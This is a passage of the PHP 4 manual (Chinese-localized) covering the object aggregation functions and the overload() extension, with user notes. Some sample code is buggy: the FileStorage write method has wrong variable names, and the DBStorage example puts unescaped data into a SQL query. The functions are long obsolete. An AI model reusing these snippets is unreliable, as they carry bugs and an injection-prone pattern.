注: This function depends on a undocumented feature of the Netscape/iPlanet/SunONE webservers. Use phpinfo() to determine if it is available. In the Unix environment it should always work, in windows it depends on the name of a ns-httpdXX.dll file.

Read the note about subrequests in the NSAPI section (UNIX, Windows) if you experience this problem.

参数

uri

The URI of the script.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
nsapi_response_headers | 上一级 | Object Aggregation/Composition Functions


Object Aggregation/Composition Functions

PHP 手册
后退 前进

XCI. Object Aggregation/Composition Functions

警告

本扩展模块是实验性的。本模块的行为，包括其函数的名称以及其它任何关于此模块的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本扩展模块风险自担。

简介

In Object Oriented Programming, it is common to see the composition of simple classes (and/or instances) into a more complex one. This is a flexible strategy for building complicated objects and object hierarchies and can function as a dynamic alternative to multiple inheritance. There are two ways to perform class (and/or object) composition depending on the relationship between the composed elements: Association and Aggregation.

An Association is a composition of independently constructed and externally visible parts. When we associate classes or objects, each one keeps a reference to the ones it is associated with. When we associate classes statically, one class will contain a reference to an instance of the other class. For example:

例子 1. Class association

<?php
class DateTime {

   function DateTime()
   {
       // empty constructor
   }

   function now()
   {
       return date("Y-m-d H:i:s");
   }
}

class Report {
   var $_dt;
   // more properties ...

   function Report()
   {
       $this->_dt = new DateTime();
       // initialization code ...
   }

   function generateReport()
   {
       $dateTime = $this->_dt->now();
       // more code ...
   }

   // more methods ...
}

$rep = new Report();
?>
We can also associate instances at runtime by passing a reference in a constructor (or any other method), which allow us to dynamically change the association relationship between objects. We will modify the example above to illustrate this point:

例子 2. Object association

<?php
class DateTime {
   // same as previous example
}

class DateTimePlus {
   var $_format;

   function DateTimePlus($format="Y-m-d H:i:s")
   {
       $this->_format = $format;
   }

   function now()
   {
       return date($this->_format);
   }
}

class Report {
   var $_dt;    // we'll keep the reference to DateTime here
   // more properties ...

   function Report()
   {
       // do some initialization
   }

   function setDateTime(&$dt)
   {
       $this->_dt =& $dt;
   }

   function generateReport()
   {
       $dateTime = $this->_dt->now();
       // more code ...
   }

   // more methods ...
}

$rep = new Report();
$dt = new DateTime();
$dtp = new DateTimePlus("l, F j, Y (h:i:s a, T)");

// generate report with simple date for web display
$rep->setDateTime(&$dt);
echo $rep->generateReport();

// later on in the code ...

// generate report with fancy date
$rep->setDateTime(&$dtp);
$output = $rep->generateReport();
// save $output in database
// ... etc ...
?>

Aggregation, on the other hand, implies encapsulation (hidding) of the parts of the composition. We can aggregate classes by using a (static) inner class (PHP does not yet support inner classes), in this case the aggregated class definition is not accessible, except through the class that contains it. The aggregation of instances (object aggregation) involves the dynamic creation of subobjects inside an object, in the process, expanding the properties and methods of that object.

Object aggregation is a natural way of representing a whole-part relationship, (for example, molecules are aggregates of atoms), or can be used to obtain an effect equivalent to multiple inheritance, without having to permanently bind a subclass to two or more parent classes and their interfaces. In fact object aggregation can be more flexible, in which we can select what methods or properties to "inherit" in the aggregated object.

范例

We define 3 classes, each implementing a different storage method:

例子 3. storage_classes.inc

<?php
class FileStorage {
    var $data;

    function FileStorage($data)
    {
        $this->data = $data;
    }

    function write($name)
    {
        $fp = fopen(name, "w");
        fwrite($fp, $this->data);
        fclose($data);
    }
}

class WDDXStorage {
    var $data;
    var $version = "1.0";
    var $_id; // "private" variable

    function WDDXStorage($data)
    {
        $this->data = $data;
        $this->_id = $this->_genID();
    }

    function store()
    {
        if ($this->_id) {
            $pid = wddx_packet_start($this->_id);
            wddx_add_vars($pid, "this->data");
            $packet = wddx_packet_end($pid);
        } else {
            $packet = wddx_serialize_value($this->data);
        }
        $dbh = dba_open("varstore", "w", "gdbm");
        dba_insert(md5(uniqid("", true)), $packet, $dbh);
        dba_close($dbh);
    }

    // a private method
    function _genID()
    {
        return md5(uniqid(rand(), true));
    }
}

class DBStorage {
    var $data;
    var $dbtype = "mysql";

    function DBStorage($data)
    {
        $this->data = $data;
    }

    function save()
    {
        $dbh = mysql_connect();
        mysql_select_db("storage", $dbh);
        $serdata = serialize($this->data);
        mysql_query("insert into vars ('$serdata',now())", $dbh);
        mysql_close($dbh);
    }
}

?>

We then instantiate a couple of objects from the defined classes, and perform some aggregations and deaggregations, printing some object information along the way:

例子 4. test_aggregation.php

<?php
include "storageclasses.inc";

// some utilty functions

function p_arr($arr)
{
    foreach ($arr as $k => $v)
        $out[] = "\t$k => $v";
    return implode("\n", $out);
}

function object_info($obj)
{
    $out[] = "Class: " . get_class($obj);
    foreach (get_object_vars($obj) as $var=>$val) {
        if (is_array($val)) {
            $out[] = "property: $var (array)\n" . p_arr($val);
        } else {
            $out[] = "property: $var = $val";
        }
    }
    foreach (get_class_methods($obj) as $method) {
        $out[] = "method: $method";
    }
    return implode("\n", $out);
}

$data = array(M_PI, "kludge != cruft");

// we create some basic objects
$fs = new FileStorage($data);
$ws = new WDDXStorage($data);

// print information on the objects
echo "\$fs object\n";
echo object_info($fs) . "\n";
echo "\n\$ws object\n";
echo object_info($ws) . "\n";

// do some aggregation

echo "\nLet's aggregate \$fs to the WDDXStorage class\n";
aggregate($fs, "WDDXStorage");
echo "\$fs object\n";
echo object_info($fs) . "\n";

echo "\nNow let us aggregate it to the DBStorage class\n";
aggregate($fs, "DBStorage");
echo "\$fs object\n";
echo object_info($fs) . "\n";

echo "\nAnd finally deaggregate WDDXStorage\n";
deaggregate($fs, "WDDXStorage");
echo "\$fs object\n";
echo object_info($fs) . "\n";

?>

We will now consider the output to understand some of the side-effects and limitation of object aggregation in PHP. First, the newly created $fs and $ws objects give the expected output (according to their respective class declaration). Note that for the purposes of object aggregation, private elements of a class/object begin with an underscore character ("_"), even though there is not real distinction between public and private class/object elements in PHP.

$fs object
Class: filestorage
property: data (array)
    0 => 3.1415926535898
    1 => kludge != cruft
method: filestorage
method: write

$ws object
Class: wddxstorage
property: data (array)
    0 => 3.1415926535898
    1 => kludge != cruft
property: version = 1.0
property: _id = ID::9bb2b640764d4370eb04808af8b076a5
method: wddxstorage
method: store
method: _genid

We then aggregate $fs with the WDDXStorage class, and print out the object information. We can see now that even though nominally the $fs object is still of FileStorage, it now has the property $version, and the method store(), both defined in WDDXStorage. One important thing to note is that it has not aggregated the private elements defined in the class, which are present in the $ws object. Also absent is the constructor from WDDXStorage, which will not be logical to aggegate.

Let's aggregate $fs to the WDDXStorage class
$fs object
Class: filestorage
property: data (array)
    0 => 3.1415926535898
    1 => kludge != cruft
property: version = 1.0
method: filestorage
method: write
method: store

The process of aggregation is cumulative, so when we aggregate $fs with the class DBStorage, generating an object that can use the storage methods of all the defined classes.

Now let us aggregate it to the DBStorage class
$fs object
Class: filestorage
property: data (array)
    0 => 3.1415926535898
    1 => kludge != cruft
property: version = 1.0
property: dbtype = mysql
method: filestorage
method: write
method: store
method: save

Finally, the same way we aggregated properties and methods dynamically, we can also deaggregate them from the object. So, if we deaggregate the class WDDXStorage from $fs, we will obtain:

And deaggregate the WDDXStorage methods and properties
$fs object
Class: filestorage
property: data (array)
    0 => 3.1415926535898
    1 => kludge != cruft
property: dbtype = mysql
method: filestorage
method: write
method: save

One point that we have not mentioned above, is that the process of aggregation will not override existing properties or methods in the objects. For example, the class FileStorage defines a $data property, and the class WDDXStorage also defines a similar property which will not override the one in the object acquired during instantiation from the class FileStorage.

目录
aggregate_info -- Returns an associative array of the methods and properties from each class that has been aggregated to the object
aggregate_methods_by_list -- Selective dynamic class methods aggregation to an object
aggregate_methods_by_regexp -- Selective class methods aggregation to an object using a regular expression
aggregate_methods -- Dynamic class and object aggregation of methods
aggregate_properties_by_list -- Selective dynamic class properties aggregation to an object
aggregate_properties_by_regexp -- Selective class properties aggregation to an object using a regular expression
aggregate_properties -- Dynamic aggregation of class properties to an object
aggregate -- Dynamic class and object aggregation of methods and properties
aggregation_info -- 别名 aggregate_info()
deaggregate -- Removes the aggregated methods and properties from an object

add a note add a note User Contributed Notes
kencomer at NOSPAM dot kencomer dot com
21-Sep-2005 12:04
For PHP5 applications, the all of the "aggregate" function family is now in runkit.

  http://php.net/manual/en/ref.runkit.php
Jeb.
17-Jan-2003 06:18
It is worth noting that class association does not work, even in PHP 4.3.0 - this ability is experimental. I'm assuming it was added in for the sake of forwards-compatibilty. Use object association instead for now.

Until it is implemented, you will receieve a parse error when attempting to use it.

Related bug report: http://bugs.php.net/bug.php?id=20531

Just to prevent people posting about "why it doesn't work??", etc etc etc.
Greg Beaver firstname at chiaraquartet dot net
05-Jan-2003 07:54
If you need to serialize an object for sessions or other purposes, and want to save aggregation state, extend it from a base class such as this one, and use $this->agg/$this->unagg instead of aggregate/deaggregate

<?php
class base
{
   var $_aggregates = array();

   function agg($agg)
   {
       aggregate($this,$agg);
       $this->_aggregates[$agg] = 1;
   }

   function unagg($agg = false)
   {
       if ($agg)
       {
             deaggregate($this,$agg);
             unset($this->_aggregates[$agg]);
       } else
       {
             deaggregate($this);
           $this->_aggregates = array();
       }
   }
}
?>
add a note add a note

后退 | 起点 | 前进
nsapi_virtual | 上一级 | aggregate_info


aggregate_info

(no version information, might be only in CVS)

aggregate_info -- Returns an associative array of the methods and properties from each class that has been aggregated to the object

Description

array aggregate_info ( object object )

Will return the aggregation information for a particular object as an associative array of arrays of methods and properties. The key for the main array is the name of the aggregated class.

For example the code below

例子 1. Using aggregate_info()

<?php

class Slicer {
    var $vegetable;

    function Slicer($vegetable)
    {
        $this->vegetable = $vegetable;
    }

    function slice_it($num_cuts)
    {
        echo "Doing some simple slicing\n";
        for ($i=0; $i < $num_cuts; $i++) {
            // do some slicing
        }
    }
}

class Dicer {
    var $vegetable;
    var $rotation_angle = 90;   // degrees

    function Dicer($vegetable)
    {
        $this->vegetable = $vegetable;
    }

    function dice_it($num_cuts)
    {
        echo "Cutting in one direction\n";
        for ($i=0; $i < $num_cuts; $i++) {
            // do some cutting
        }
        $this->rotate($this->rotation_angle);
        echo "Cutting in a second direction\n";
        for ($i=0; $i < $num_cuts; $i++) {
            // do some more cutting
        }
    }

    function rotate($deg)
    {
        echo "Now rotating {$this->vegetable} {$deg} degrees\n";
    }

    function _secret_super_dicing($num_cuts)
    {
        // so secret we cannot show you ;-)
    }
}

$obj = new Slicer('onion');
aggregate($obj, 'Dicer');
print_r(aggregate_info($obj));
?>

Will produce the output

Array
(
    [dicer] => Array
        (
            [methods] => Array
                (
                    [0] => dice_it
                    [1] => rotate
                )

            [properties] => Array
                (
                    [0] => rotation_angle
                )

        )

)
As you can see, all properties and methods of the Dicer class have been aggregated into our new object, with the exception of the class constructor and the method _secret_super_dicing

See also
aggregate(),
aggregate_methods(),
aggregate_methods_by_list(),
aggregate_methods_by_regexp(),
aggregate_properties(),
aggregate_properties_by_list(),
aggregate_properties_by_regexp(),
deaggregate()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Object Aggregation/Composition Functions | 上一级 | aggregate_methods_by_list


aggregate_methods_by_list

(PHP 4 >= 4.2.0)

aggregate_methods_by_list -- Selective dynamic class methods aggregation to an object

Description

void aggregate_methods_by_list ( object object, string class_name, array methods_list [, bool exclude] )

Aggregates methods from a class to an existing object using a list of method names. The optional parameter exclude is used to decide whether the list contains the names of methods to include in the aggregation (i.e. exclude is FALSE, which is the default value), or to exclude from the aggregation (exclude is TRUE).

The class constructor or methods whose names start with an underscore character (_), which are considered private to the aggregated class, are always excluded.

See also
aggregate(),
aggregate_info(),
aggregate_methods(),
aggregate_methods_by_regexp(),
aggregate_properties(),
aggregate_properties_by_list(),
aggregate_properties_by_regexp(),
deaggregate()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
aggregate_info | 上一级 | aggregate_methods_by_regexp


aggregate_methods_by_regexp

(PHP 4 >= 4.2.0)

aggregate_methods_by_regexp -- Selective class methods aggregation to an object using a regular expression

Description

void aggregate_methods_by_regexp ( object object, string class_name, string regexp [, bool exclude] )

Aggregates methods from a class to an existing object using a regular expression to match method names. The optional parameter exclude is used to decide whether the regular expression will select the names of methods to include in the aggregation (i.e. exclude is FALSE, which is the default value), or to exclude from the aggregation (exclude is TRUE).

The class constructor or methods whose names start with an underscore character (_), which are considered private to the aggregated class, are always excluded.

See also
aggregate(),
aggregate_info(),
aggregate_methods(),
aggregate_methods_by_list(),
aggregate_properties(),
aggregate_properties_by_list(),
aggregate_properties_by_regexp(),
deaggregate()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
aggregate_methods_by_list | 上一级 | aggregate_methods


aggregate_methods

(PHP 4 >= 4.2.0)

aggregate_methods -- Dynamic class and object aggregation of methods

Description

void aggregate_methods ( object object, string class_name )

Aggregates all methods defined in a class to an existing object, except for the class constructor, or methods whose names start with an underscore character (_) which are considered private to the aggregated class.

See also
aggregate(),
aggregate_info(),
aggregate_methods_by_list(),
aggregate_methods_by_regexp(),
aggregate_properties(),
aggregate_properties_by_list(),
aggregate_properties_by_regexp(),
deaggregate()

add a note add a note User Contributed Notes
Rodolfo
12-Sep-2005 06:27
Just a note: aggregate_methods doesn't aggregate those methods already defined in the class, including those methods inherited from a parent class.

Here's an example:

- If class B inherits from class A and aggregates methods from class C:

<?php

class A {
         function foo() {
               echo 'from class A';
         }
}

class B extends A {
   function B() {
         aggregate_methods($this,'C');
   }
}

class C {
         function foo() {
               echo 'from class C';
         }
}

$myclass = new B();
$myclass->foo();
// This will print 'from class A'

?>
a at antialize dot dk
21-Mar-2005 07:12
You can use this to dynamicily add methods to a class

class foo {
  function addMethod(  $code ) {
   $cname = uniqid("class");
   eval( "class ${cname} { ${code} }" );
   aggregate_methods( $this , $cname );
  }

  function bar() {
   $this->addMethod( "function baz() { echo 'sha'; }" );
  }
}

$bang = new foo();
$bang->bar();
$bang->baz();
add a note add a note

后退 | 起点 | 前进
aggregate_methods_by_regexp | 上一级 | aggregate_properties_by_list


aggregate_properties_by_list

(PHP 4 >= 4.2.0)

aggregate_properties_by_list -- Selective dynamic class properties aggregation to an object

Description

void aggregate_properties_by_list ( object object, string class_name, array properties_list [, bool exclude] )

Aggregates properties from a class to an existing object using a list of property names. The optional parameter exclude is used to decide whether the list contains the names of class properties to include in the aggregation (i.e. exclude is FALSE, which is the default value), or to exclude from the aggregation (exclude is TRUE).

The properties whose names start with an underscore character (_), which are considered private to the aggregated class, are always excluded.

See also
aggregate(),
aggregate_methods(),
aggregate_methods_by_list(),
aggregate_methods_by_regexp(),
aggregate_properties(),
aggregate_properties_by_regexp(),
aggregate_info(),
deaggregate()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
aggregate_methods | 上一级 | aggregate_properties_by_regexp


aggregate_properties_by_regexp

(PHP 4 >= 4.2.0)

aggregate_properties_by_regexp -- Selective class properties aggregation to an object using a regular expression

Description

void aggregate_properties_by_regexp ( object object, string class_name, string regexp [, bool exclude] )

Aggregates properties from a class to an existing object using a regular expression to match their names. The optional parameter exclude is used to decide whether the regular expression will select the names of class properties to include in the aggregation (i.e. exclude is FALSE, which is the default value), or to exclude from the aggregation (exclude is TRUE).

The properties whose names start with an underscore character (_), which are considered private to the aggregated class, are always excluded.

See also
aggregate(),
aggregate_methods(),
aggregate_methods_by_list(),
aggregate_methods_by_regexp(),
aggregate_properties(),
aggregate_properties_by_list(),
aggregate_info(),
deaggregate()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
aggregate_properties_by_list | 上一级 | aggregate_properties


aggregate_properties

(PHP 4 >= 4.2.0)

aggregate_properties -- Dynamic aggregation of class properties to an object

Description

void aggregate_properties ( object object, string class_name )

Aggregates all properties defined in a class to an existing object, except for properties whose names start with an underscore character (_) which are considered private to the aggregated class.

See also
aggregate(),
aggregate_methods(),
aggregate_methods_by_list(),
aggregate_methods_by_regexp(),
aggregate_properties_by_list(),
aggregate_properties_by_regexp(),
aggregate_info(),
deaggregate()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
aggregate_properties_by_regexp | 上一级 | aggregate


aggregate

(PHP 4 >= 4.2.0)

aggregate -- Dynamic class and object aggregation of methods and properties

Description

void aggregate ( object object, string class_name )

Aggregates methods and properties defined in a class to an existing object. Methods and properties with names starting with an underscore character (_) are considered private to the aggregated class and are not used, constructors are also excluded from the aggregation procedure.

See also
aggregate_info(),
aggregate_methods(),
aggregate_methods_by_list(),
aggregate_methods_by_regexp(),
aggregate_properties(),
aggregate_properties_by_list(),
aggregate_properties_by_regexp(),
deaggregate()

add a note add a note User Contributed Notes
kencomer at NOSPAM dot kencomer dot com
12-Sep-2005 12:22
For PHP5 applications, the aggregate functionality available through classkit has been incorporated into and replaced by runkit. Per the classkit page of the PHP manual:

"Note:  This extension has been replaced by runkit, which is not limited to class manipulation but has function manipulation, as well."

  http://php.net/manual/en/ref.runkit.php

Per the runkit page:

" This package is meant as a feature added replacement for the classkit package. When compiled with the --enable-runkit=classkit  option to ./configure, it will export classkit compatible function definitions and constants."
Matt Barry
29-Mar-2005 04:02
A note for those who may be implementing projects in PHP4 using aggregate(); these functions do not exist in PHP5.  For similar functionality, you can try using the Classkit extension:

http://us2.php.net/manual/en/ref.classkit.php
gmail pfayolle
08-Jan-2005 04:16
Note that even if this can be used to emulate multiple inheritance to some extent, an object in PHP can only be subclass of the class used in the class declaration and no other.

<?php

class A {}
class B {}

class C extends A
{
  function C()
  {
   aggregate($this, 'B'); // emulate multiple inheritance
  }
}

$c = new C;
echo (int)is_subclass_of($c, 'B');

/*
Output: 0
*/

?>
hewei at ied dot org dot cn
02-Mar-2003 07:34
YES you can use aggregation functions to simulate multiple inheritence.

function foo()
{
   aggregate($this, "bar");
   bar::bar();
}
add a note add a note

后退 | 起点 | 前进
aggregate_properties | 上一级 | aggregation_info


aggregation_info

(PHP 4 >= 4.2.0)

aggregation_info -- 别名 aggregate_info()

说明

本函数是该函数的别名： aggregate_info().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
aggregate | 上一级 | deaggregate


deaggregate

(PHP 4 >= 4.2.0)

deaggregate -- Removes the aggregated methods and properties from an object

Description

void deaggregate ( object object [, string class_name] )

Removes the methods and properties from classes that were aggregated to an object. If the optional class_name parameters is passed, only those methods and properties defined in that class are removed, otherwise all aggregated methods and properties are eliminated.

See also
aggregate(),
aggregate_methods(),
aggregate_methods_by_list(),
aggregate_methods_by_regexp(),
aggregate_properties(),
aggregate_properties_by_list(),
aggregate_properties_by_regexp(),
aggregate_info()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
aggregation_info | 上一级 | Object property and method call overloading


Object property and method call overloading

PHP 手册
后退 前进

XCII. Object property and method call overloading

简介

The purpose of this extension is to allow overloading of object property access and method calls. Only one function is defined in this extension, overload() which takes the name of the class that should have this functionality enabled. The class named has to define appropriate methods if it wants to have this functionality: __get(), __set() and __call() respectively for getting/setting a property, or calling a method. This way overloading can be selective. Inside these handler functions the overloading is disabled so you can access object properties normally.

警告

本扩展模块是实验性的。本模块的行为，包括其函数的名称以及其它任何关于此模块的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本扩展模块风险自担。

警告

This extension is not a part of PHP 5. PHP 5 supports __get(), __set() and __call() natively. See the Overloading in PHP 5 page for more information.

需求

要编译本扩展模块不需要外部库文件。

安装

In order to use these functions, you must compile PHP with the --enable-overload option. Starting with PHP 4.3.0 this extension is enabled by default. You can disable overload support with --disable--overload.

PHP 的 Windows 版本已经内置该扩展模块的支持。无需加载任何附加扩展库即可使用这些函数。

注: Builtin support for overload is available with PHP 4.3.0.

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

本扩展模块未定义任何资源类型。

预定义常量

本扩展模块未定义任何常量。

范例

Some simple examples on using the overload() function:

例子 1. Overloading a PHP class

<?php

class OO {
    var $a = 111;
    var $elem = array('b' => 9, 'c' => 42);

    // Callback method for getting a property
    function __get($prop_name, &$prop_value)
    {
        if (isset($this->elem[$prop_name])) {
            $prop_value = $this->elem[$prop_name];
            return true;
        } else {
            return false;
        }
    }

    // Callback method for setting a property
    function __set($prop_name, $prop_value)
    {
        $this->elem[$prop_name] = $prop_value;
        return true;
    }
}

// Here we overload the OO object
overload('OO');

$o = new OO;
echo "\$o->a: $o->a\n"; // print: $o->a: 111
echo "\$o->b: $o->b\n"; // print: $o->b: 9
echo "\$o->c: $o->c\n"; // print: $o->c: 42
echo "\$o->d: $o->d\n"; // print: $o->d:

// add a new item to the $elem array in OO
$o->x = 56;

// instantiate stdclass (it is built-in in PHP 4)
// $val is not overloaded!
$val = new stdclass;
$val->prop = 555;

// Set "a" to be an array with the $val object in it
// But __set() will put this in the $elem array
$o->a = array($val);
var_dump($o->a[0]->prop);

?>

目录
overload -- Enable property and method call overloading for a class

add a note add a note User Contributed Notes
daniel at softel dot jp
25-Feb-2006 01:13
Note that with this class:
<?php
class SillyClass
{
   private $config = array();

       public function __construct()
   {
       $this->config['fruit'] = 'banana';
               $this->config['animal'] = 'monkey';
       $this->config['shoppingList'] =
               array('drink' => 'milk', 'food' => 'cheeseburger');
   }

       //Allow mySillyClass->someProperty style getting of
   //anything that might happen to be in the $config array
   //(returns NULL if not in the $config array).
   public function __get($property)
   {
       if(isset($this->config->$property))
       {
           return $this->config->$property;
       }
   }
}
?>

The following code can not be used:
<?php
$mySillyClass = new SillyClass();
$drinkToBuy = $mySillyClass->shoppingList->drink;
?>

It seems that although there is no error, $mySillyClass->someProperty->someProperty
does *not* work (__get() is only called once).
It's not really a bug, and I'm sure PHP is behaving properly but it had me stumped for a while!
dreamscape
30-Jun-2005 04:12
I didn't see this posted anywhere, so here it is:

In PHP 4, if you are calling your overloaded class A from inside class B, you MUST include and overload class A before including class B.

I struggled with this one for some time, before attempting to change the include order of the classes, which then worked great.
29-May-2005 06:38
> function __get($prop_name, &$prop_value)
Fatal error: [...] __get() must take exactly 1 argument ...
???
Shores
04-Feb-2005 02:11
One way to overcome the foreach overloading malfunction:

//non functioning:
foreach ($object->arrayProperty as $key => $value) { ... }

//functioning:
foreach (array_merge($object->arrayProperty) as $key => $value) { ... }

Bye!
evert at rooftopsolutions dot nl
17-Jan-2005 01:46
I use the overloader to perform a method-level permission check for objects

<?

class MyClass {

  function method1() {

   // .... //

  }

  function method2() {

  // .... //

  }

}

class ObjectProtector {

   var $obj;

   function ObjectProtector(&$object) {

       $this->obj =& $object;

   }

   function __call($m,$a,&$r) {

       if (myPermissionChecker(...)) {
         $r = call_user_func_array(array($this->obj,$m),$a);
         return true;
       } else return false;

   }

}

overload('ObjectProtector');

// Create your object
$myObj = new MyClass;

// Prodect your object
$myProtectedObj = new ObjectProtector($myObj);

//call your methods trough $myProtectedObj

$myProtectedObj->method1();
$myProtectedObj->method2('arguments');

?>

I'm not sure this is bad practice, but the engine allows it and it seems right.
koert at idislikespam dot bitfactory dot nl
29-Sep-2004 10:36
Do not implement __call() if you need pass-by-reference of return-by-reference elswhere in your class.
For more information view php bug #25831. Unfortunately this bug is marked wont-fix.
almethot at yahoo dot com
22-May-2004 03:33
Here is a cleaner way to fake overloading which is a modification on fabiostt[X_AT_X]libero[X_DOT_X]it
12-Aug-2003 01:56 posting. This example allows you to reuse the object and not have to re-create the object everytime the variables need to change.

Hope this helps,

<?
Class NCSession
{
//Class Variables

   Var $sessionResult = null;

   // Sims Overloading in PHP - Yes it is crap but it works until you move to PHP 5.
   function ncStartSession()
   {
       $numArgs = func_num_args() ; //number of args
       $args = func_get_args() ;  //array containing args
       $x = call_user_func_array( array( &$this, 'ncStartSession'.$numArgs),  $args) ;
       $sessionResult = $x;
       return $sessionResult;
   }

   function ncStartSession0()
   {
       session_start();
       $sessionResult = "SUCCESS|YES|SESSIONID|" . session_id();
       session_destroy();
       return $sessionResult;
   }

   function ncStartSession1($arg)
   {
       session_start($arg);
       $sessionResult = "SUCCESS|YES|SESSIONID|" . session_id();
       session_destroy();
       return $sessionResult;
       }
}
//End of Class

$myTestSession = NEW NCSession();

$myResult = $myTestSession->ncStartSession();
echo "\n\$myResult = $myResult\n";

?>
Metal
15-Mar-2004 03:11
Overload and Inheritance.

After wasting a few hours trying to get it to work, it seems appropriate to put a warning here.

Short Version:

DON'T ever subclass an overloaded class. EVER.

Corollary:
If an overloaded class simply must be subclassed, rewrite the parent class to get rid of the overloading. It can be as simple as commenting out the overload() statement and calling the get/set/call methods explicitely.
This was the road I ended up taking.

Long Version:

While it is, in theory, possible to end up with a working subclass, it requires much mucking and OO-principles compromise.
There is a great post that details the problem at great length. For those with the stomach, the URL is:
http://www.zend.com/lists/engine2/200201/msg00140.html

If you're still thinking about mixing inheritance and overloading, at least read the "Best Practices for the overload functions" in the URL above. If that doesn't change your mind, at least you'll be able to avoid most of the pitfalls.
josh at uncommonprojects dot com
28-Feb-2004 10:45
One thing about __get is that if you return an array it doesn't work directly within a foreach...

<?php
class Foo {
  function __get($prop,&$ret) {
   $ret = array(1,2,3);
   return true;
  }
}
overload ('Foo');

//works
$foo = new Foo;
$bar = $foo->bar;
foreach($bar as $n) {
  echo "$n \n";
}

//doesn't work (bad argument to foreach)
foreach($foo->bar as $n) {
  echo "$n \n";
}
?>

for loops also work fine..
upphpdoc at upcd dot de
26-Feb-2004 04:58
While this is a nice Feature it has nothing to do with Overloading as it is known in other OO-Languages.

What this feature does is allowing the dynamic addition of instance variables as e.g in Python.

Overloading means defining several methods with the same name in a single class. Which method will be called depends on the number and type of arguments specified. With dynamic and weak typed languages (like PHP) this can  of course not work.
jw at jwscripts dot com
15-Feb-2004 03:10
The following backwards compatible code demonstrates the differences between the PHP version 4 and 5 implementation of overloading:

<?

class Foo {
   // The properties array
   var $array = array('a' => 1, 'b' => 2, 'c' => 4);

   // Getter
   function __get($n, $val = "") {
       if (phpversion() >= 5) {
           return $this->array[$n];
       } else {
           $val = $this->array[$n];
           return true;
       }
   }

   // Setter
   function __set($n, $val) {
       $this->array[$n] = $val;
       if (phpversion() < 5) return true;
   }

   // Caller, applied when $function isn't defined
   function __call($function, $arguments) {
       // Constructor called in PHP version < 5
       if ($function != __CLASS__) {
           $this->$arguments[0] = $arguments[1];
       }
       if (phpversion() < 5) return true;
   }
}

// Call the overload() function when appropriate
if (function_exists("overload") && phpversion() < 5) {
   overload("Foo");
}

// Create the object instance
$foo = new Foo;

// Adjust the value of $foo->array['c'] through
// method overloading
$foo->set_array('c', 3);

// Adjust the value of $foo->array['c'] through
// property overloading
$foo->c = 3;

// Print the new correct value of $foo->array['c']
echo 'The value of $foo->array["c"] is: ', $foo->c;

?>
sdavey at datalink dot net dot au
23-Jan-2004 05:45
It wasn't quite clear, but I found out that __get() and __set() only overload attributes that _don't_ exist.

For example:
<?
class Foo
{
   var $a = "normal attribute";

   function __get($key, &$ret)
   {
       $ret = "overloaded return value";
       return true;
   }
}
overload("Foo");

$foo = new Foo();
print "get a: $foo->a \n";        // prints:  get a: normal attribute
print "get b: $foo->b \n";        // prints:  get b: overloaded return value
?>

The important thing to note here is that $foo->a did not pass through __get(), because the attibute has been defined.

So it's more like "underloading" than "overloading", as it only virtualises attributes that _do not_ exist.
John Martin
09-Dec-2003 06:47
I've found a work around that allows overload to work with nested classes.  I was trying to design a set of classes that I didn't need to define the setter/getter methods for each of the properties.

I stayed away from the __get() and __set() function since this bypasses object encapsulation.  Instead I use the __call() method to implement the accessor functions.  The __call() function emulates the get{var name} and stores the variable into an internal array with in the class.  The get{var name} checks the array for the var name and returns it if found.

Using the Zend Dev Studio (Great Product!) I was able to debug the code and found that when overloaded objects are nested that the nested object somehow looses the array var.  Just for giggles, I added a second variable and assigned the array var by reference.  Some how this worked.

class Base {
   var $_prop = array();
   var $_fix;

   function Base() {
     // This somehow fixes the problem with nested overloading
     $this->_fix = & $this->_prop;
   }
}
admin (hat) solidox (dawt) org
25-Aug-2003 11:51
there are a couple of things you should be aware of when using overloading.

<?
   class cTest
   {
       function __get($key, &$value)
       {
           echo "get: $key<br />";
           return true;
       }
       function __set($key, $value)
       {
           echo "set: $key value: $value<br />";
           return true;
       }
       function __call($method, $params, &$return)
       {
           echo "call: $method params: " . var_export($params, 1) . "<br />";
           return true;
       }
   }
overload('cTest');
$cake = new cTest;
?>

firstly it should be noted that nested classes don't work.
secondly if you try to set an array it somehow becomes a get
and thirdly, if you call a nested class it picks the last nest as the method name, as opposed to a nested get which picks the first in the list.
<?
$x = $cake->hello->moto; //outputs "get: hello" moto is nowhere to be seen

$cake->hello['moto'] = 4; //outputs "get: hello"

$cake->moo->cow("hello"); //outputs "call: cow params: array ( 0 => 'hello', )"
?>
bit strange, these occur on php4.3.2. havn't tried other versions
Justin B
13-Aug-2003 06:16
Some useful things to know about overloading:
__call($m,$p,&$r) returns $r back to you, not whatever you put after the keyword return.  What you return determines whether or not the parser consideres the function defined.
__get($var,&$val) returns $val back to you, so fill up $val with what you want then return true or false, same as above.

when extending classes, you must overload the most extended level class for it to work:

class TestClass
{
   var $x = "x";
   var $y = "y";
   var $z = "z";
   function __call($method,$params,&$return)
   {
       $return = "Hello, you called $method with ".var_export($params,true)."<br>\n";
       return true;
   }
   function __get($var,&$val)
   {
       if($var == "l") { $val = $this->x; return true; }
       return false;
   }
}
overload('TestClass');

$test = new TestClass;
print $test->hello();
print $test->goodbye();
print $test->x;
print $test->l;
print $test->n;

class Test2 extends TestClass
{
}

$test2 = new Test2;
print $test2->hello();

/* output:
Hello, you called hello with array()
Hello, you called goodbye with array()
xx

Fatal Error: Call to undefined function hello() in ...
*/
fabiostt[X_AT_X]libero[X_DOT_X]it
12-Aug-2003 04:56
This extension has not much to do with overloading as we know it in Java or C++

We can sort of mimic overloading using call_user_func_array()

<?php

class OverloadTest{

   var $message ;

   function OverloadTest(){

